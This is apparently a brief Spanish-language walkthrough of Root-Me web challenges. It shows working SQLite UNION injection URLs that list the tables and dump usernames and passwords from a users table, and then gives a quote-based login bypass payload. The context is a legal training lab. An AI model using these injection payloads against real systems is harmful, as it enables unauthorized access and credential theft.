Al forzar un fallo vemos que la base de datos es sqlite, por lo que buscando encontramos esto:
http://hydrasky.com/2016/09/05/sqlite-injection/
Entendiendo los cambios con respecto a mysql es coser y cantar :)
http://challenge01.root-me.org/web-serveur/ch18/?action=news&news_id=1%20union%20select%20null,2,%20tbl_name%20FROM%20sqlite_master
news y users
http://challenge01.root-me.org/web-serveur/ch18/?action=news&news_id=1%20union%20select%201,2,%20sql%20FROM%20sqlite_master
CREATE TABLE news(id INTEGER, title TEXT, description TEXT)
CREATE TABLE users(username TEXT, password TEXT, Year INTEGER)
http://challenge01.root-me.org/web-serveur/ch18/?action=news&news_id=1%20union%20select%201,username,%20password%20FROM%20users
http://challenge01.root-me.org/web-serveur/ch18/?action=news&news_id=1%20union%20select%201,%20password,%20username%20from%20users
admin
???????????????
user1
vUrpgAsCTX
user2
aFjRKx7j9
Mirar en owasp
Usernama: John' and (''='' or ''='
Password: ') and ''='
Miramos en el codigo fuente y ahí está el password clarito
???????????????????????